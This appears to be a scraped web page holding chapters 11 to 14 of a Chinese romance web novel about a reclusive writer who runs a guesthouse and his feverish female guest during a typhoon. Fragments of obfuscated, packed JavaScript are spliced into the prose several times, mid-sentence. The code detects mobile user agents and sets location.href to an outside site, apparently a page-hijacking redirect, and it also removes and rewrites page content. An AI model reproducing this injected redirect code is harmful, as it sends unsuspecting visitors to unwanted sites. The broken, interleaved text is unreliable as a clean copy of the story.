l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903488|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶艰难下咽。 韩暑爱吃,吃相也很沉浸式享受,现场吃播任谁来看都忍不住口水直流,遑论挚爱牛仔骨的问题先生。闻知屿咔嚓又啃了一口面包片,咀嚼并平时更用力。 假惺惺的道谢!那可是他最后的存货! 韩暑将一切尽收眼底,借纸巾擦嘴掩住邪恶笑容。 更想玩游戏的是谁?反正不是她。谁想玩谁着急,谁着急谁就得妥协。借机敲诈一顿牛仔骨,方才撅屁股劳动的辛苦都值了! 再想到他方才翻脸不认人要房费的样子……一向狼吞虎咽的某人一反常态,细嚼慢咽认真品味,时不时还会挑一块形状美丽的向他展示,主打一个馋死人不要命。 闻知屿忍气吞声,生生忍到午饭结束。 当两位选手全副武装,两艘船也推入了水,整装待发。 “谁先?”韩暑抬头看天,“雨越来越大了,速战速决。” 闻知屿想起她方才吃一口咀嚼n下的样子气得肝疼,加重语气,“速战速决。先试我的船。” “行。公平竞争,谁搞小动作谁就交出全部家底。” 闻知屿狐疑,“你有家底吗?” 韩暑双膝中箭外加胸口一刀,怒问:“玩不玩了?” 闻知屿正在兴头上生怕她撂挑子,赶紧举双手,“玩。” 游戏终于开始。 纸船和走廊平行,选手相向而立,一人迈左脚一人迈右脚,重心缓慢移动,稳住后再上另一只脚。全程像是慢放的电影,每一帧之间都很卡顿。 韩暑站在船头艰难保持平衡,一点点放下自己的右脚——成功。 闻知屿站在更靠近船中央的位置,一点点放下自己的左脚——成功。 闻知屿看了看吃水线,唇角弧度格外明显,“浮起来了!” 韩暑还是第一次见他这么开心,只觉又无语又搞笑,没好气道:“你还没赢呢,别高兴太早。” 接下来到韩暑的船,也是采用一样的方法,也是在慢动作后成功。闻知屿显而易见,有些失落。 韩暑双手抱臂,得意地问:“这下怎么说?平手?” “没有平手。”闻知屿坚决道,“round2,在船上跳一下,谁不沉谁赢。” “行行行。”韩暑妥协,“既然站在我船上,这轮从我开始。” 闻知屿赞成。 开始前原地准备。韩暑试着将重心移到脚尖,船体立刻左右晃了起来,本能作用下抓住闻知屿的胳膊才找回平衡。 “不好意思啊。”她松开手讪笑。 闻知屿咸咸地看了她一眼,“好了?” 准备不准备没区别,还不如直接来。韩暑点头,“开始吧。” “三——” 韩暑心跳开始加速。 “二——” 韩暑看到闻知屿微微下蹲蓄力。 “一——” 两人同时起跳,却是韩暑先落地。 重心骤然转移到船头,船体翘起一个可怖的角度,韩暑彻底后仰,在失重的惊恐中双臂无助地挥舞。 闻知屿落地的瞬间凌空逮住了她的右臂,正要用力,一只手狠狠抓住了他的胸肌。 “啊——”他痛得闷哼,一把推开了罪魁祸首。 “扑通!” 硕大的水花直冲云霄。 闻知屿小碎步挪了好几下,神奇地压住了差点翻倒的船。与此同时理性回笼,他颤巍巍地举手,“不是,你、你听我解释!” 11. 第 11 章 韩暑四肢并用爬上台阶的时候,已经想好把闻知屿鲨掉分尸埋到哪了。 他个子高心眼黑养分足,埋到发现两只小猫的那棵榕树下,保准它一年后成长为参天大树!!! 闻知屿赶紧扶起她,因为心虚语气都变了,“你没事吧?” 还没事?怎么可能没事! 韩暑一把甩开他的手,气呼呼地扒掉身上的塑料袋。 自制简易雨披能防雨,防不了泡进水里,这会里面衣服湿透,就连站起来这么简单的动作,对抗的重力直线飙升。 是以上身塑料袋从头脱掉的时候她失了重心,一个屁股蹲就坐了下—— 没坐下去。 闻知屿眼疾手快兜住她两边嘎吱窝,“小心。” “……”韩暑缓缓抬头,失去光彩的目光落在倒置的脸上。 她看到了关心,可关心这种情绪是那么的不合时宜。比起直接嘲笑,关心只是换了种委婉方式的羞辱。 她像个布娃娃一样被闻知屿提溜着,脸丢尽了,心也死了。 彻底死了。 直到站在花洒下,热水冲刷了好一会,勉强才算微活。 韩暑透过水汽氤氲的分隔玻璃,发现三只咪正复制粘贴一般坐在马桶上,瞪着六只圆溜溜的眼睛。 对视少顷,她用指节敲了敲,恶狠狠道:“看什么看!” 大咪弓了下背,发现无危险后很快又松懈了下来,姿态慵懒地舔爪子。二咪小咪继续瞪着圆眼睛看她。 韩暑:…… 得,猫也不怕她了。 果然,脸丢没了,人矮了一节,猫都看不起了。 韩暑伤心地搓头发。 都怪闻知屿! 自己摔就算了,是她技不如人,可他明明抓住了,又为什么把她推下去?!肩头那一掌的力道,都能把孙悟空扇飞了! “练过铁砂掌还是怎么着?!”她怒吼。 疑似练过铁砂掌那位,此刻正站在养生壶前,拉开自己的衣领往里看。左边胸肌上,三只鲜红的指印堪比印泥。 “练过九阴白骨爪吧…..”他喃喃自语,活动了下左胳膊,还是感觉疼疼的。 闻知屿叹了口气,搓搓滚烫的耳尖。 这个蘑菇脑袋,又是拉他的手,又是摔进他怀里,现在还摸他的胸肌……她怎么没点已婚女性的边界感?他个黄花好大儿,就这么不清不楚的被占了便宜。 真是可恨!太可恨了! “滴!滴!滴!” 养生壶灯光闪烁,煮好了。 闻知屿把红枣姜茶倒进保温壶里,小心翼翼端到可恨的人所在的1号房。想了想,放在了门边,去客厅找了张便签,写下“请喝门口的姜茶”后从门缝里塞了进去。 亲手熬制的、热腾腾的驱寒姜茶,就像寒夜里的篝火、沙漠里的清泉、历代皇帝追求的不老仙丹,将是她最迫切的期盼,也代表他最真挚的歉意。 虽然事情的起因是她先抓了他的胸肌,但他并不会逃避自己的责任。他就是如此负责。 闻知屿满意地点点头,转身去了书房。 虽然被占便宜令人不爽,虽然胸前还隐隐作痛,但是玩了一个从未想过的游戏后心情好了不少,似乎有灵感了。正式开工。 “咳咳咳咳咳咳!” 韩暑爆发出一阵惊天动地的咳嗽,连干发巾都震的掉落在地。 这什么姜茶,也太辣了吧! 她难以置信地打开保温壶盖,然后…..陷入沉默。 三只大枣飘在水面,吹开,三块硕大的、完整的、去了皮的姜映入眼帘。 韩暑:………….无语。 知道去皮,怎么不知道切片? 三块姜,是打算辣死她杀人灭口? 但韩暑咬咬牙,还是喝了。捏着鼻子一口气喝完,然后空yue半天那种。从水里出来的时她就冷得发抖,洗了个热水澡还没缓过来,姜茶可以预防感冒。 她一头倒在床上,准备美美睡一觉,缓过来再找闻知屿算铁砂掌和杀人姜茶的帐。没想到再醒来时还是发冷,伴随头痛欲裂。 这似曾相识的症状…… 韩暑晕晕乎乎地拿起手机,翻开床头的入住手册找到微信二维码,扫后几乎秒通过。 她闭着眼睛按住说话,“闻知屿,你有没有退烧药和感冒药……我有点不太舒服。” 发送之后,她调成响铃模式,再次昏睡过去。 对此一无所知的闻知屿还在对着电脑枯坐,并惋惜灵感的湮灭。直到接了秦建瓴的电话。 “看来你和房客相处的还不错?” 没头没尾。闻知屿取掉眼镜揉着太阳穴,不悦道:“忙着呢,打电话有事?” 秦建瓴也不绕弯,“房客给你家民宿的客服——也就是我本人,发微信了,问你要感冒药退烧药。听声音有点虚弱。” 闻知屿僵了,好半天没吭气。 “听见没?你那个奇怪的房客生病了。”秦建翎自言自语,“我在入住手册上有写这项服务吗?她说得还挺理所当然的……” 闻知屿用力合上电脑,从胸腔发出的声音又憋又闷,“因为和我有关系。” “什么意思?” “就是……”闻知屿有点说不出口,“我把她推到水里了。” “……”秦建翎惊呆了,“哈?” 虽然羞耻,闻知屿依然要为自己正名,“我推她的原因是,她抓了我的胸。” 秦建翎如遇雷击,“哈???” 洗清自己的脏水后,闻知屿还正直地还原事情全貌,“她抓我胸的原因是,我俩玩游戏,在纸箱子做的纸船上她失去了平衡。不是故意的。” ——应该不是……吧? 秦建翎大脑一团乱麻,已经发不出声音了,只能用沉默表达过于复杂的心情。 闻知屿认命地下楼,去电视柜里翻找药品,还不忘寻求第三方的评判,“你觉得在这件事上,我占百分之多少的责任?” 秦建翎理了半天思绪,终于品出味来,“你先老实交代!你和她是不是有点内个……” 闻知屿想了想,“好像是。” 秦建瓴大喜,“我靠!闻老师铁树开花了?!我就说嘛,不是一家人不进一家门,一个人奇怪是弱智,两个人奇怪就是绝配啊!她才入住几天,两天半?这么快你俩就——” 这都哪跟哪。闻知屿正在看药品保质期,闻言气急,“房客已婚已育!” “……”秦建翎嗑cp的小火苗刚燃起就被浇灭,原地崩溃,“已婚已育?!你是小三?!不行我得赶紧准备公关稿,现在正是《吃骨头》的宣传期,你为爱做三要是被爆出来那就麻烦了!你怎么不早跟我说?!” “说个P!”闻知屿被机关枪一通扫射没忍住爆粗,“我们俩清清白白日月可鉴!” ——是清白……的吧? 她拉过他的手,躺过他的怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903489|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,摸过他的胸肌……这清白吗? 清白吧!至少他作为被强迫的一方,没有一丝一毫不清白的想法。清白! “……”一通大起大落后秦建翎失声,“那你说,你和她有什么?!” “有趣的灵魂。”闻知屿严肃,“她想的游戏真的很有趣。” “………………滚。” 电话应声而断。 闻知屿一脸莫名其妙地丢开手机。 为爱做三?这辈子都不可能!亏秦建瓴想的出来。 准备好药品后,他敲响了1号房。没人应。 他加重力道继续敲,“内个……” 没叫过这人的名字,怪不习惯的。 “咳!韩、韩——韩暑?韩暑!醒醒,先吃药!” 还是没人应。 不会晕过去了吧? 闻知屿捏着备用钥匙,一边敲门一边犹豫。他开门进女性的房间太不合适,里面那个都能把他当汉尼拔,说不准还会把他当色狼。但万一真晕过去了怎么办?发烧会死人吗?她死了怎么办? 正当他左右脑互搏,门咔哒一声开了个缝,露出韩暑烧得红彤彤的脸。 她靠着门框,有气无力道:“吵死了。” 闻知屿松了口气,“吃药。” 韩暑披着毯子,跌跌撞撞地走向客厅,径直倒在沙发上,“我有点饿,有吃的吗?” 闻知屿被撞开肩时,两人的小臂有瞬间的接触。他察觉到滚烫的体温,立刻拿起体温枪走过去,“头露出来。” 韩暑缓缓探出两只眯成缝的眼睛,“干什么?杀我吃脑子?” “……量体温。”他艰难道。 韩暑拉下毯子,额头冲他那一侧偏了偏。许是高温影响大脑运转,她想到什么说什么,嘟囔道:“你个罪魁祸首,愧疚了吧?让你推我下去……听说这种积水里细菌很多的,我要得皮肤病你得陪我医药费。” “滴——三十八点七摄氏度。” “我从不逃避自己的那一份责任。”闻知屿放下/体温枪,用两根手指捏起从沙发边沿落地的毯子一角,移到韩暑的肚子上方,松手,毯子垂直坠落。 韩暑想了想却不明白,“你这话什么意思?你抓住我又莫名其妙推我,这还不是你全责,天理难容好吗?” 闻知屿走向厨房的脚步一滞,“莫名其妙?” 韩暑蛄蛹着换姿势,可哪个姿势都不舒服,“你实话说,是不是想杀人灭口?” 闻知屿彻底回过身来。 沙发上的女人病怏怏的,感觉虚弱到就剩呼吸,可那双杏眸还是闪烁怀疑的幽光。 好一个农夫与蛇。 于是他放下脸皮,字正腔圆道:“是你先抓我胸。” “你说什么!!!”韩暑嗖地坐了起来,瞳孔剧烈颤动,嗓音差点掀破屋顶,“你污蔑我!” 闻知屿想过她是不是故意的,想过他们之间是否还算清白,想过他占几分的责任。唯独没想过,这个咸猪手摸了他还不承认! 韩暑也越想越气,“我告诉你,你这是诽谤你要负法律责任的!你你你怎么能这么说?你是不是推卸责任?闻知屿你果然黑心!像你这样的人吃饭都是浪费粮食,就应该埋到那棵榕树底下以血肉滋养天地才能还清——” 见她在这东一榔头西一棒槌地胡说八道,闻知屿决定为自己正名。 他一把脱掉自己的T恤,指着左侧胸肌,“你说,这是什么?” 12. 第 12 章 韩暑舔了舔嘴唇,看向闻知屿的眼神变了。 ——还以为是个肩不能扛的白斩鸡,原来是冷白皮八块腹肌啊! 她顶着沉重的脑瓜,上上下下看了个遍。 但凡这里有一个熟悉她的人,都会说一句,完了!烧傻了!短视频刷到不吝啬于展示美好肉/体的博主都得从指头缝里看的人,怎么会这么厚脸皮? 可闻知屿不知道哇。 闻知屿只知道这位已婚女子用散焦的、雾蒙蒙的眼神,从他的肩颈锁骨一路看到小腹。哪都看,就是不看那鲜红的罪证。 色鬼! 闻知屿耳尖爆红,赶紧拉展衣服双手抱胸,“人、人证物证俱全,看你怎么抵赖。” 好一副被轻薄的小媳妇状,好一副被轻薄后要她负责的说辞。 韩暑后知后觉地抬起手,隔空回忆一般地握了握,陌生Q弹的手感沿指尖神经滞后传导至大脑。 这这这这是什么触感?怎么回事! 闻知屿见她还在回味,脸绿了,耳朵连着颈侧红了,胸肌又疼了,手也有点抖了。 他飞速转身穿衣服,想戳死自己,也想戳死这个不害臊的女人! 见状,韩暑被烧离躯体的魂终于飞了回来,嗖地躺回去,转身,用毯子连头带脚裹成一个蚕茧,不动了。 令人窒息的沉默后,她隔着毯子听到闻知屿说给她热碗粥。脚步声渐远。 救命救命救命!!! 她竟然摸、不对,抓了闻知屿的胸肌!!!还留下了三个指头印!!! 韩暑明明躺在真皮沙发上,却仿佛躺在烤全羊的炭火上,每一块皮肉都变得滚烫乃至燃烧。 不多时,脚步声回来了。 碗底和茶几碰撞出清脆的声响。 “粥。”闻知屿道。 韩暑还缩在毯子里,瓮声瓮气地说:“我等会吃。” “等会是什么时候?” “……就是等会。” ——等你走了之后。 闻知屿顿了顿,“不是饿了吗?还吃药吗?” 韩暑不动,闻知屿也不动。韩暑在毯子里动了动,闻知屿还是不动。 最终她妥协了,掀开毯子,顺着沙发边溜坐在地,把碗挪到面前,微微侧身并且任由发丝披散遮挡视线,主打一个绝不对视的鸵鸟行为。 白米蔬菜粥,清淡可口。韩暑才喝了两勺,感觉胃里舒服多了。 “谢谢。”她咬着勺子道。 闻知屿没应,在旁边的单人沙发坐定,看了会说明书后从铝锡板上噼里啪啦地抠药,“两粒感冒药,一粒退烧药。” 韩暑依旧偏着头,两根手指小人走似的挪了过去,一捞,捞到了—— 闻知屿冷声,“往哪摸呢?” “对不起对不起。”韩暑的脸更红了。赶紧松开他的手指,斜着眼睛瞄了下,然后哆哆嗦嗦地攥住胶囊。 偷感怎么这么重? 她在心里鄙视自己。可她真的不敢看他。 紧张之下,韩暑把药囫囵吞咽了下去,吸吸鼻子,这才继续喝粥。 闻知屿冷不丁问:“心虚了?” “咳咳咳——”韩暑直接呛住,“我真不是故意的。” “嗯,勉强相信你。” 韩暑大惊,“什么叫勉强?我就不是故意的!” “不是故意的也摸了。”闻知屿严肃,“以后咱俩要时刻保持一米以上的距离。” “……” 韩暑那点害臊被气没了,端起碗一口气喝完,砰一声放回茶几上,“谢谢你的药,我要回屋了。” 可惜她忘了自己还是病号,猛地站起来后眼前一黑,重重跌坐回沙发上。 缓了好一阵后视线终于清明。这次韩暑小心了些,再次起身,步履蹒跚地绕过茶几,也绕过沙发上的大佛。她的体温好像又上升了,脑袋开始发蒙,床是此刻唯一的期盼。 谁知,错身的瞬间,韩暑被人攥住了手腕。 闻知屿利落起身,“等等。” 腕间触感冰凉,像是酷暑天的冰块,存在感极强。韩暑盯着那骨节分明的手,呆愣愣地说:“你说的保持距离,是一米还是一毫米来着?” 打脸来得如此突然。 三番五次被她入侵圆柱体,怎么自己反倒习惯了?这样不行! 闻知屿被烫到似的松了开来,噔噔后退两步,尴尬地咳了声,“你今晚……” 韩暑转了转手腕,等了好几秒都没等到下文,催促道:“我想去睡觉了。” “内个……你今晚……”闻知屿抓抓下巴,“要不睡沙发上吧。” “嗯?”韩暑茫然,“为什么?” 闻知屿指了指单人沙发,补充道:“我在这陪你。” “嗯?”韩暑依旧茫然,“为什么?” “你不是生病了吗,这样方便一点。” 韩暑难以置信,“方便照顾我?” 闻知屿扯了扯唇角,“算是吧。” 韩暑定定地看了他一会,抬手摸自己的额头,“我这会烧的很高吗?怎么都出现幻觉了……” “幻觉?”闻知屿吓一跳,“什么幻觉?” 韩暑转手掐了自己一把,瞬间疼得呲牙咧嘴,“嘶!难道不是幻觉?可是热心善良不符合你的人设哇?” 真奇怪。 不行,她得再仔细观察观察, 韩暑瞪大眼睛,发现闻知屿神色确实有些异样,眼神也失去方才质问她的坚定,“你老实交代到底想干什么!你不会想趁我睡着非礼我吧!你不会打算杀我吧!” 闻知屿无语凝噎,最终不得不承认道:“我是怕你烧晕了,万一、万一死在我家怎么办?” 说完,他小心翼翼地观察她的表情,同时做好了被骂的准备。 谁知,韩暑迟缓地转了转眼珠后,如释重负连连点头,“嗯嗯,这下合理了。是闻知屿没错。” 闻知屿:……? 韩暑还是睡在了沙发上。虽然问题先生的动机很冷血,但颇有道理。万一她烧晕了,起码旁边还有个活人。 原还打算警告一下闻知屿不许有坏心思,谁知刚躺下没半分钟,病号就睡着了。 闻知屿对入睡速度叹为观止。起身关掉大灯,从书房取了笔记本电脑,回客厅打算工作一阵,可视线却控制不住地从屏幕飘离。 落地灯暖黄色的光温和地落在了沉睡的女人身上。 她侧身蜷缩,毯子鼓起了一团。 很小的一团。 依旧是乱翘的刘海,依旧是圆溜溜的五官,依旧是蒲扇一样的睫毛。但在异常的体温影响下,她眼下乌青格外明显,嘴唇也失去了血色。 很麻烦,也很脆弱。甚至脆弱到有些惹人怜爱。 等等! 怜、怜爱? 他疯了吧? 闻知屿赶紧甩甩脑袋,带上眼镜,强制进入专注模式。 于是在韩暑迷迷糊糊醒来时,看到的便是这样的场景。 闻作家坐在茶几边的地毯上,十指纷飞。敲了好一会后,用指关节推了下无框镜,微微蹙眉,似乎在审视前文。 很专注,很认真。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903490|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哎!” 闻知屿倏然回神,对上一双还蕴着睡意的眼,于是单手摘掉眼镜,用指关节轻摁眉心,“醒了?” “嗯。”韩暑清清干痛的嗓子,声音依旧沙哑,“有水吗?” 闻知屿一手撑地起身,再折回来时端了一只玻璃杯,热腾腾的水汽在两人之间氤氲弥散。 韩暑接过,支起上半身喝了两大口润喉,“谢谢。” 闻知屿没应,拿起体温枪对准她的额头。 “滴——三十七点六摄氏度。” “降下来了。”他道。 “嗯。”韩暑软绵绵地躺了回去,“几点了?” 闻知屿坐回原位,看了眼电脑上的时间,“一点半。” “你不睡吗?” “不困。” 他重新带上眼镜,眉心又拧了起来。 蹙眉似乎代表他的工作状态。 韩暑安静地看着。 在异地他乡生病是一件孤独的事情,深夜醒来也是一件孤独的事情。还好,目之所及,是另一个人的孤独。 当两个人的孤独相遇,冷色神奇地融化成了暖色。就像暖黄的灯光落在他身上,棱角分明的下颌变得模糊,深邃的轮廓变得柔和。 他们是如此陌生的人,可偏偏这样的场景平添几分虚假的亲昵。韩暑顺应了这样的错觉,轻声问:“闻知屿,你真的要收房费吗?” 闻知屿冷嗤,“你说呢?” 睡了一觉,韩暑的脑瓜清醒了不少,终于回过味来,“是不收的意思吗?” 闻知屿用力摁了下回车,“嗯。” “那为什么押七千做赌注?” “准备借机要挟你。” “什么意思?” 闻知屿不自然地偏了下头,“要挟你,玩新的游戏。” 韩暑愣怔,旋即扑哧一声笑了,“想玩就直说,至于绕弯吗?” 闻知屿咸咸地看她一眼,“直说你会答应吗?” “……好像不会。” 看他别别扭扭的样子,韩暑越想越有趣,偷偷笑了好一阵, “你玩跳跳杆玩皮划艇,是为了寻找灵感吗?” “是一种放空的方式。”闻知屿淡声道。 原不打算多说,可韩暑一个劲地看闻知屿,神色是藏不住地好奇。眨巴眼睛的动作,和那只圆溜溜的猫如出一辙。 他别扭地解释:“我的思维总是像行驶的列车,我控制不了方向也控制不住速度。做这些需要高度专注的事情就像是踩下刹车,能短暂地喘口气。” 韩暑心尖刺了一下,有点痛,却说不上来缘由。 半晌,她说:“那等我感冒好了,陪你玩一个新游戏。” 闻知屿腰杆一下就直了,“玩什么?” “嗯……玩过拍鸡蛋吗?” “没有。” 韩暑比划了一下,“一个碗扣一只鸡蛋,按照节奏轮流,可以拍碗也可以拿碗。谁先打碎鸡蛋谁输。” 闻知屿再次摘掉眼镜,黑眸亮了好几度,声音也雀跃起来,“可以,那、等你退烧就玩!” 韩暑暗自好笑,“行,我退房之前多教你几个游戏。就当报答房东无偿提供的食物和药喽!” 说完,她翻身面对沙发靠背。不多时,呼吸逐渐均匀深远。 闻知屿望向落地窗。 沙发靠背阻挡下,镜面里没有韩暑,只有他一人的剪影。 窗外,夜色浓稠,树杆笔直地耸立着,只有树梢在风中颤动。台风快要结束了。 他的房客快要走了。 13. 第 13 章 次日清晨,韩暑悠然转醒。 风雨渐缓,细密的雨滴附着于落地窗,几乎不落声响。院子里的花草在三天的夺命袭击后幸存,悠闲地舒展着枝叶。 韩暑瞥了眼窗外后翻了个身,懒洋洋地延长休眠时间。今天身体轻快了很多,头脑也很清醒。应该是退烧了。 怎么这么安静? 偏头一看,没有男人的身影,连带茶几上的笔记本电脑也无影无踪。要不是玻璃杯还在,她差点以为昨晚的对话都是梦境。 韩暑爬起来,喝掉剩下的半杯水,余光被一只倒扣的塑料餐盒吸引。 “不会吧?” 她深吸一口气,掀开。 一颗光滑圆润还挂着水滴的鸡蛋映入眼帘。 她呼了口气,扣回去。 为什么她一点都不惊讶? 韩暑再次躺倒,拿起手机搜寻后海长租的民宿。 经过这几天的考虑,她决定借旅居的机会系统学习一下冲浪这项运动。既然是休息,既然离开了压抑的环境,那就脱缰得更疯狂一些。 后海作为冲浪初学者集中地,便是不二选择。 在红色软件浏览许久,在五花八门的租房帖子中,韩暑定位到一个一室一厅小房子,带露台,面朝大海。虽然设施看起来不是特别新,但总体算干净。 作为常年生活在内陆向外海景的人来说,露台已是绝杀。她果断点开私信,向房东询价。 等回复的功夫,韩暑又研究了下后海的冲浪店。 几经对比后选了一家名为戒浪的冲浪俱乐部,看带图评价,许多小哥哥姐姐站在浪花之上,畅快的笑容穿透屏幕,令她也不由自主的勾唇。 于是韩暑没有犹豫,拨通了咨询电话。 “您好,戒浪俱乐部。”是一个飒爽的女声。 韩暑有些紧张,便坐了起来,“你你好,我想咨询一下冲浪课程。” “我们这里有单节体验课、三节入门课和长期课。不过最近琼岛台风,复课时间还未定。您是打算什么时候过来呢?” “台风结束就来。”韩暑看了下日历,“请问长期课的价格大概是多少呢?” “长期课共二十节,每节课两个小时,上课当天全天冲浪板免费使用,价格是三千六。您之前有尝试过冲浪吗?” “没有。” “那我建议您先上一节体验课,看是否喜欢这项运动再决定。” 韩暑想了想,觉得是这个道理,“那等复课,我去店里详细了解一下。” “好的。方便的话我加您个微信?” 韩暑刚报完手机号,楼梯传来脚步声。 闻知屿见人醒了,兴冲冲地走过来。她赶紧比了个嘘,又指了指耳边手机。 “麻烦您确定复课时间后通知我一下,我立刻过来。”她说。 挂了电话,韩暑抢先一步问:“你去过后海村吗?” 闻知屿眼神一个劲往鸡蛋上飘,“没有。” “好吧。”韩暑对宅男本就不报希望,于是继续红色软件,“你这出门连个公交都没有,好打车吗?” 闻知屿还在看鸡蛋,“不知道。” 韩暑:…… 放弃。 闻知屿问:“还烧吗?” 韩暑摸摸额头,“好像不烧了。” 闻知屿顿了顿,又问:“那感冒好了吗?” “……”韩暑无语,“想玩就直说,别假惺惺地兜圈子。” 眼珠子快黏在鸡蛋上了,当她眼瞎吗? 闻知屿轻咳一声,“玩吗?” “不玩!”韩暑没好气,“忙着找下家呢!” “下家?” “台风就要结束了,我得赶紧找一个住的地方。” 韩暑伸了个懒腰,起来叠毯子。别说,这沙发不仅宽敞,软硬也适中,睡得还蛮舒服。 闻知屿坐在单人沙发上,双腿交叠,“决定要旅居了?” 他似乎刚洗过澡,坐下时发丝上的水珠落在了韩暑手背上,有些冰凉。她不着痕迹地抹去,“嗯。” 闻知屿黑眸闪过一丝精光,“那——” 韩暑抱起枕头毯子,“不行!” 闻知屿悻悻闭嘴。 韩暑狠狠瞪了他一眼,一溜烟回屋去了。 别以为她不知道他在想什么?不就是想薅着她一起玩吗? 做梦! 好不容易实现的旅居,可不是为了从后海往返南湾区陪他玩儿童游戏。 韩暑先去浴室确认了下猫咪的状况。昨天放的生骨肉吃完了,水也下去了大半,看精神状态都还不错。 大咪纡尊降贵地从洗手台上跳下来,围着她走了两圈,蹭了蹭,这才跳了回去。 她被逗乐了,“今天还挺友好哦!都跟你说了我不是坏人。” 大咪高傲地看了她一眼,继续给两只崽舔毛。 韩暑处理完猫砂盆,迅速冲了个澡,这才觉得有些饿了。 “咪!”她挥手,颇有将军出征的豪情,“我出去打猎,等会给你带肉肉回来昂!” 三只猫被她的情绪所打动,复制粘贴一般竖起脖子,然后……面露茫然。 韩暑也不在意,雄赳赳气昂昂地走向厨房。途径餐厅,她看到闻知屿正在啃面包片。生啃。 韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903491|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暑讶异,“你的精致早餐呢?” 闻知屿绷着脸,“吃完了。” “之前的饭是谁做的?” 闻知屿又啃了一口面包,腮帮子鼓了几下后突然双目放空,静止了。 韩暑:? 五秒后,他端起杯子喝了口白水,狠狠吞咽了下,旋即神色恢复正常,隐隐还有些畅快。 哦,原来是噎住了。 “阿姨。台风,她来不了。” “那在她来之前,你就打算一直啃面包?” 闻知屿蔫蔫地点头,“嗯。” “……” 韩暑五味陈杂。昨天造船造得那么精致奢华,怎么连饭都不会做呢? 她叹了口气。 愁死人! 闻知屿也叹了口气。看见面包也愁。 但迫于生存需要,还是闭着眼,咔嚓一口—— 没啃上去,咬空了。 韩暑一把夺过面包,“别吃了!” 连难吃的口粮都没了,闻知屿惊慌,“住客冰箱里有食材!” 韩暑没搭理他,携面包潜逃。步入厨房,她拉开冰箱,从冷藏掏出两枚鸡蛋、两颗牛油果、一把菠菜和一盒蓝莓,又从冷冻找出一包冻虾。 闻知屿滴溜溜跟了过来,“面包不好吃,还我。” 韩暑耸肩,“不给——” 话音未落,闻知屿嗖地出手。 天下武功唯快不破。 一阵风刮过,一阵清冽的气息飘过,韩暑手里的面包没了,闻知屿抱着面包又开始啃了。一边啃还一边警惕地盯着她,生怕被抢。 韩暑:…… 幼稚鬼。 她兀自去水池边清洗蔬菜和水果,漫不经心道:“吃,再吃快点。等我做好饭你也吃饱了,省下来刚好给咪咪吃。” 不多时,接力棒一样被抢来抢去的面包出现在余光中。 闻知屿小心地把几乎啃完的面包推至灶台上,从沥水架上取了一只碟子捧在掌心,又悄悄退到一旁等待。 韩暑压住唇角,斜他,“想吃?” 闻知屿乖乖点头,额发微扬,“想。” 难得见他这么听话,韩暑佯装冷漠,“那你表演个才艺,哄我高兴就给你吃。” 闻知屿拿起一根勺子当话筒,四十五度望天酝酿情绪,然后双目含泪中气十足地朗诵道: “让我怎样感谢你?当我走向你的时候,我原想深刻谴责你的行为,你却给了我真挚的关怀!” “让我怎样感谢你?当我走向你的时候,我原想抢回难吃的面包,你却给了我美味的世界!” 韩暑:……滚啊! 14. 第 14 章 滑蛋虾仁三明治,配菠菜蓝莓,外加牛油果奶昔。 早餐上桌。 韩暑坐定,擦了擦手,“比不上阿姨的手艺,但肯定比你干吃面包强。” 闻知屿凝视少顷,用门牙浅浅咬了口三明治,旋即一顿,单边眉毛扬起。 韩暑慢悠悠喝奶昔,得意,“好吃吧?” 闻知屿不答,开始狼吞虎咽。两分钟吃完三明治,一分钟吃掉蔬菜水果,半分钟喝完奶昔。 角色互换,轮到韩暑目瞪口呆,“你三天没吃饭了吗?” “一天没吃了。”闻知屿放下杯子,把盘子往前推了推,双手交叠作恭顺状,“我、还想吃一点。可以吗?” 韩暑:…… 这是房东吗?这是祖宗。 她起身回到厨房,迅速做了一个更简易的三明治。 昨天实在是不舒服没多想,那碗可口的蔬菜粥想必是闻知屿自己的口粮。不管怎么说,他照顾了自己一晚,韩暑可不做白眼狼。 “昂,这次够了没?” 闻知屿乖乖接过,“够了,谢谢。” 投喂完毕,韩暑终于开始吃自己的早餐。 不知不觉,她在这家奇怪的民宿已经住了四天。 此刻两人相对而坐,氛围和谐。隔着餐桌上演的特工谍战篇,似乎变成了一个世纪前的事情。 “扑哧!”韩暑没忍住笑出了声。 闻知屿掀起眼皮。 这一眼戳中了韩暑的笑穴。 一想到闻知屿摔肿的嘴,西装裤兜里藏着的擀面杖,被壁虎吓到缩墙角,她就一点都忍不住! “鹅鹅鹅鹅鹅!” 